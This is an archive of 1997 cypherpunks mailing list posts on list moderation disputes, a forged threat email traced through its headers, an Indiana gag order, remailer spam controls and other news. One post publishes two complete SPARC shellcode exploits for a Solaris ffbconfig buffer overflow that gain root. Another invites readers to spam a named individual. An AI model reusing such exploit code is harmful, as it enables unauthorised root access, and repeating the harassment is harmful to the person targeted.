is running an old version of HP sendmail that apparently accepts any hostname the user enters after "helo". I tried sending myself fakemail using this site but haven't got a response yet. The interesting thing is that the attacker used the hostname echotech.com and not iquest.net. echotech.com is a real domain so the attacker might have been dumb enough to connect from echotech.com and enter the real origin. Or the SMTP server might just pretend it's fooled and put the real hostname in the received header regardless of what's entered after the helo. I'm not familiar with HP sendmail so I don't know whether this is true or not. On Sun, 9 Feb 1997, Bovine Remailer wrote: > Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST) > From: Bovine Remailer > To: cypherpunks at toad.com > > NEW ATTACK ON CP LIST > > > >Date: Sun, 9 Feb 1997 03:55:04 -0500 > >From: Linda Thompson > >To: robert at iquest.net > >Cc: aen-news at aen.org > >Subject: URGENT > > > >Someone is sending THREATS to the President and Senate and using *MY* > >name > >and account to do it. One bounced and was sent to me. You should be > >able > >to find out where it came from by the message I.D. I think it is > >EXTREMELY > >important that you find out where this came from!! > > > >Also, earlier in the day, I got a message that I was subscribed by > >"majordomo" to cypherpunks. I did NOT subscribe to cypherpunks and I > >would > >bet that whoever did THAT also sent this message. > > > >Here's the threat message: > > > >Return-Path: > >Delivered-To: lindat at iquest.net > >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000 > >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1) > > by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000 > >Received: by fcaglp.fcaglp.unlp.edu.ar > > (1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300 > >Message-Id: <9702090249.AI19659 at fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: MAILER-DAEMON at fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem) > >Subject: Returned mail: User unknown > >To: lindat at iquest.net > >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e > >Status: U > > > > ----- Transcript of session follows ----- > >550 xfAA16374: line 6: vice-president at whitehouse.gov... User unknown > > > > ----- Unsent message follows ----- > >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP > > (1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300 > >Message-Id: <9702080812.AA16374 at fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: lindat at iquest.net > >Return-Path: [recipient list deleted] > >Reply-To: lindat at iquest.net > >Return-Receipt-To: lindat at iquest.net > >Comment: Authenticated sender is > >Subject: message to USSA Senate > > > >All files on the Senate's computers will be deleted by our > >gang of cypherpunks dedicated to the eradication of your systems. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMv4meizIPc7jvyFpAQFu/ggAoap+9UBSbtitcQuGL3Og5u1nQRJhaviV BJqXC0ZwNBKCEeVQm3HIME47eqB8JVite2YBvyXZbj/QAsFQAEY1k4oJlfn5tCLE w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL nQVHJ447I5B0WVQt42F1Gfcmxh3bPjbZXd8TRKSKjhuBfqum8916dlXso1hB3WaC TSYIHa3R33HmwYA2xtDJ6ZJwtlPF/wPkVIYgbhrt+S6SPGfa+yEUnCE72qceo3eh 1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg== =psFL -----END PGP SIGNATURE----- From scndsun at sprynet.com Tue Feb 11 06:29:22 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111429.GAA20053@toad.com> ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; freedom-knights at jetcafe.org > Subject: Re: POST: The Frightening Dangers of Moderation > Date: Saturday, February 08, 1997 7:48 PM > > Jerry Basham wrote: > > > Ok...this is the fourth junk e-mail I've received that I don't want. Your > > account is in jeapordy, and my advice is for you to just stop sending me > > this junk. Take me off your e-mail list, NOW. > > If this e-mail from me, being mad at you, is what makes you happy, and is > > how you have fun, then you just have a personal problem and I feel sorry > > for you. > > Do what you can to heal yourself...meanwhile, don't send me anymore...your > > isp provider is next on my e-mail list. > > Jerry, my provider is GTE, and if you think you can make a dent in > them, go ahead and butt your head against the wall. No sweat offa > my ass. > > OTOH, if you stop bitching and groaning long enough to figure out > who is doing the remailing etc., then you'll be miles ahead. I'm > not optimistic. > From declan at well.com Tue Feb 11 06:32:34 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 11 Feb 1997 06:32:34 -0800 (PST) Subject: Indiana judge extends gag order to the Net, from TNNN Message-ID: ---------- Forwarded message ---------- Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: Indiana judge extends gag order to the Net, from TNNN The Netly News Network http://netlynews.com/ Gag On This by Declan McCullagh (declan at well.com) February 10, 1997 The point of moving a trial or selecting a jury from a distant county is, of course, to prevent jurors from being influenced by the local media and opinions of the nearby community. But what if the media are global and the community is virtual? That enigma is causing problems for an Indiana couple on trial for reckless homicide in the November 1995 death of their son from meningitis. Bill and Sarah Planck had hoped to demonstrate their innocence through the Net, and so another son created a web site with documents from a counter-lawsuit filed against the county welfare agencies and sheriff's department, detailing how police threatened and intimidated the family. Now the judge presiding over their criminal trial has ordered the Plancks to pull the plug on the site. Madison County judge Fredrick Spencer told me he extended an existing gag order to the Internet because the tort claim notice could influence jurors. "We went two counties away to get the jury. But people in Randolph County have computers and America Online. So to avoid any possible problem, I ordered them to take it off," Spencer said. Spencer says the order was necessary to preserve the integrity of the trial. "It's only the trial that I'm concerned with," he said. "If I don't do what I can, I risk having to do [the trial] over again." Yet as soon as the Plancks yanked the documents offline on January 27, copies sprouted on the web site of a supporter -- beyond the reach of Judge Spencer. Who's right, Spencer or the Plancks? I posed that question to David Post, a professor at Georgetown Law School. "Gag orders may in a way be a thing of the past," he replied. "It becomes an enforcement dilemma with respect to the Internet. It's a hell of a lot easier to enforce that gag order [locally]. You really only have to keep your eye on a very small number of dissemination vehicles," Post said. "Gag orders are violated on occasion, but by and large you have some confidence that they'll be respected. Obviously you can't anymore." Gag orders stem from the right to an impartial jury. "We think that sometimes -- rarely, but sometimes -- that can best be accomplished by controlling the kind of information potential jurors might see. The Net deforms the landscape," Post said. Katharine Liell, the Plancks' attorney, was reluctant to discuss the case for fear of violating the gag order -- which covers her as well. "I'm uncertain what I can and can't say due to the vagueness of the gag order," she said. "Gag orders are supposed to be specific in nature, but I don't understand the nature or breadth of this gag order so I'm not comfortable commenting at this time." The legal question at issue in this prosecution is whether the Plancks are guilty of four felony charges, including reckless homicide and involuntary manslaughter, in the death of Lance Planck from pneumococcal meningitis. The verdict may depend on the answer to one question: Did the Plancks wait too long to call 911? More than the couple, however, is on trial. The case also reveals how a child protection agency can be used as a weapon to threaten parents and divide a family. The mirrored documents tell a sad story of a poor family who lived in a trailer park and home-schooled their eight children, and their long-standing battle with Madison County social workers. The first salvo came in 1992, when a social worker visited the Planck home to investigate the children's alleged vision problems. Based on that visit, a judge ordered that their eyes be examined. A month later, police invaded the Planck home and forcibly removed the children. The tort notice describes other encouters, including tear gas canisters lobbed into their home and warrantless arrests. "I've known the Plancks for a long time," said Brent Tobin, an electrical engineer who mirrored the web site. "I've lived in the town all my life. I know there's nothing going on there. The deputy prosecutor made them out to be religious weirdos, but they're not." "I put up the web site since I don't feel that the county government should have jurisdiction over the World Wide Web. I think there should be freedom of speech. I feel gag orders are a violation of rights," Tobin said. For his part, Judge Spencer emphasized that his gag order "expires at the end of the case. Free speech is an important right and I'm going to be the last person to have a problem with it." What about the mirror site? Has his order accomplished anything? "The Planck supporters are going to put it on there," Spencer replied. "If you're suggesting that I'm tilting at windmills, perhaps you're right." ### From nobody at squirrel.owl.de Tue Feb 11 06:41:04 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Tue, 11 Feb 1997 06:41:04 -0800 (PST) Subject: BCQ B/\ACTb COBKAM!!! Message-ID: <199702111441.GAA20217@toad.com> COBKU rule!!! From phr at netcom.com Tue Feb 11 06:41:05 1997 From: phr at netcom.com (Paul Rubin) Date: Tue, 11 Feb 1997 06:41:05 -0800 (PST) Subject: sci.crypt archive? Message-ID: <199702111441.GAA20219@toad.com> Is anyone on cypherpunks archiving sci.crypt? I'd be interested in getting hold of some articles from some years back... thanks From jya at pipeline.com Tue Feb 11 06:41:08 1997 From: jya at pipeline.com (John Young) Date: Tue, 11 Feb 1997 06:41:08 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <199702111441.GAA20227@toad.com> To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet. From dekkard at sprynet.com Tue Feb 11 06:41:41 1997 From: dekkard at sprynet.com (Derrick Storren) Date: Tue, 11 Feb 1997 06:41:41 -0800 (PST) Subject: Interesting Survey on Computer Security Message-ID: <199702111441.GAA20245@toad.com> This artilce has some interesting info on how bad infosec on the web is. ---DS From shamrock at netcom.com Tue Feb 11 06:41:55 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 06:41:55 -0800 (PST) Subject: ping Message-ID: <199702111441.GAA20260@toad.com> ping -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From osborne at gateway.grumman.com Tue Feb 11 06:42:02 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 11 Feb 1997 06:42:02 -0800 (PST) Subject: Modified Clipper chip - HA! Message-ID: <199702111442.GAA20272@toad.com> For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere." From 3bmice at nym.alias.net Tue Feb 11 06:42:10 1997 From: 3bmice at nym.alias.net (Three Blind Mice) Date: Tue, 11 Feb 1997 06:42:10 -0800 (PST) Subject: New X-Ray Imager Message-ID: <199702111442.GAA20283@toad.com> On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice From roach_s at alph.swosu.edu Tue Feb 11 06:42:18 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 06:42:18 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702111442.GAA20295@toad.com> At 03:00 PM 2/10/97 -0800, I wrote: >As of sometime in the last 96 hours I have been forcefully unsubscribed from >this list. This action was not of my free will and not one that I think was ... I forgot to check my mail before sending this. This is not to say that there was mail there, merely that eudora verifies mail by password. Since I had not checked my mail, the last message was unverified. This is to verify it. I sent it, I admit it. From osborne at gateway.grumman.com Tue Feb 11 06:42:24 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Tue, 11 Feb 1997 06:42:24 -0800 (PST) Subject: You guys/gals oughta get a kick outta this guy Message-ID: <199702111442.GAA20312@toad.com> Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s at nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course. From snow at smoke.suba.com Tue Feb 11 06:42:28 1997 From: snow at smoke.suba.com (snow) Date: Tue, 11 Feb 1997 06:42:28 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702111442.GAA20326@toad.com> > At 01:24 PM 2/7/97 -0500, you wrote: > [the proposed new TLDs] > .web Actually a good idea :) A lot of the .com congestion is > from companies that are virtually-hosted for the sole > purpose of running a Web site with the www. prefix. This one might not work. There are a lot of people who seem to think that you need a www.---.--- to get netscape to work. > .nom Nah. Just not classy enough. Now, a .nym TLD... :-) I think they should use .vain. From peter.allan at aeat.co.uk Tue Feb 11 06:42:30 1997 From: peter.allan at aeat.co.uk (Peter M Allan) Date: Tue, 11 Feb 1997 06:42:30 -0800 (PST) Subject: Codebreakers delivered OK Message-ID: <199702111442.GAA20332@toad.com> Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856 at clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR at aol.com. -- Peter Allan peter.allan at aeat.co.uk From dthorn at gte.net Tue Feb 11 06:42:37 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:42:37 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <199702111442.GAA20339@toad.com> John Young wrote: > To Thorn and Cuckoo (great juxtaposition): > Your exhortation and rhetoric are deft, but I'm not ready to take > sides just yet. In fact, I can't figure what the sides are, if any, in this > anti-herd of caterwauling anarchic cats. > Instead, I'm relishing and laughing at the spitting and farting contest, > and hoping this gameboying will prepare for the genuinely tough > battles in high stakes info-wargames. > There, wipe and sniff that exhort and rhet. I don't want to make any suggestions about having a clue or whatever, but just in case you didn't know, John, I'm not censoring anything, nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers to this list. It is all being done by a central "authority". Now you can't figure out who's on what side? Or you just can't decide who to line up with? In case you hadn't noticed, the censorship has been admitted a failure, although the denial from the central "authority" is so thick that some folks on the list will be hoping for Santa to come save them for some time to come. From harka at nycmetro.com Tue Feb 11 06:42:46 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Tue, 11 Feb 1997 06:42:46 -0800 (PST) Subject: Consumer Privacy URL... Message-ID: <199702111442.GAA20364@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: Consumer Privacy Online In> The January issue of the Computer Law Observer discusses privacy of In> online consumer information. The article is called "Your clickstream In> is showing" and is based upon a report issued by the FTC in January. In> The article can be found under "Current Issue" at In> http://www.lawcircle.com/observer In> There is also an announcement at the site for a new weekly service In> called the Computer Law Observerpro, which provides selected weekly In> articles discussing computer, technology and cyberlaw issues. Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb 32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/ 36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw== =Y0C2 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From paul at fatmans.demon.co.uk Tue Feb 11 06:43:12 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Tue, 11 Feb 1997 06:43:12 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111443.GAA20370@toad.com> > You're giong to have to find a way to get me off of your piss-ant mailing > list. Ecouter et repeter: "going" Now, if you didn`t have shit for brains you would have followed the instructions I sent you last time on how to unsubscribe from the cypherpunks mailing list. However, as you evidently have no wit or intelligence whatsoever, nor do you seem able to comprehend anything phrased in standard English here are the instructions in moron. To unsubscribe from the piss-ant motherfuckers mailing list you are giong to have to dooo teh folwoing: Send a piss-ant message to majordomo at toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks 2ndsun at bigfoot.com Either this or contact postmaster at bigfoot.com and ask him to mailkill all mailing list traffic for you. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From roach_s at alph.swosu.edu Tue Feb 11 06:43:15 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702111443.GAA20382@toad.com> As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped. From roach_s at alph.swosu.edu Tue Feb 11 06:43:15 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 06:43:15 -0800 (PST) Subject: this has gone on long enough Message-ID: <199702111443.GAA20380@toad.com> At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with. From gbroiles at netbox.com Tue Feb 11 06:43:19 1997 From: gbroiles at netbox.com (gbroiles at netbox.com) Date: Tue, 11 Feb 1997 06:43:19 -0800 (PST) Subject: Proposal: alt.cypherpunks (unmoderated) Message-ID: <199702111443.GAA20392@toad.com> [This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks at toad.com), running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control. A sample line for the newsgroups file: alt.cypherpunks Technological defenses for privacy -------------------==== Posted via Deja News ====----------------------- http://www.dejanews.com/ Search, Read, Post to Usenet From stewarts at ix.netcom.com Tue Feb 11 06:43:22 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 11 Feb 1997 06:43:22 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702111443.GAA20399@toad.com> At 11:58 AM 2/7/97 -0800, Ed Falk wrote: >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From skipo at sundy.cs.pub.ro Tue Feb 11 06:43:39 1997 From: skipo at sundy.cs.pub.ro (Cristian SCHIPOR) Date: Tue, 11 Feb 1997 06:43:39 -0800 (PST) Subject: Security hole in Sloaris 2.X ffbconfig + exploit Message-ID: <199702111443.GAA20437@toad.com> Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include #include #include #include #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include #include #include #include #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo at math.pub.ro or skipo at ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP" From frissell at panix.com Tue Feb 11 06:43:40 1997 From: frissell at panix.com (Duncan Frissell) Date: Tue, 11 Feb 1997 06:43:40 -0800 (PST) Subject: Nothing Can Stop the Net Message-ID: <199702111443.GAA20401@toad.com> Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. 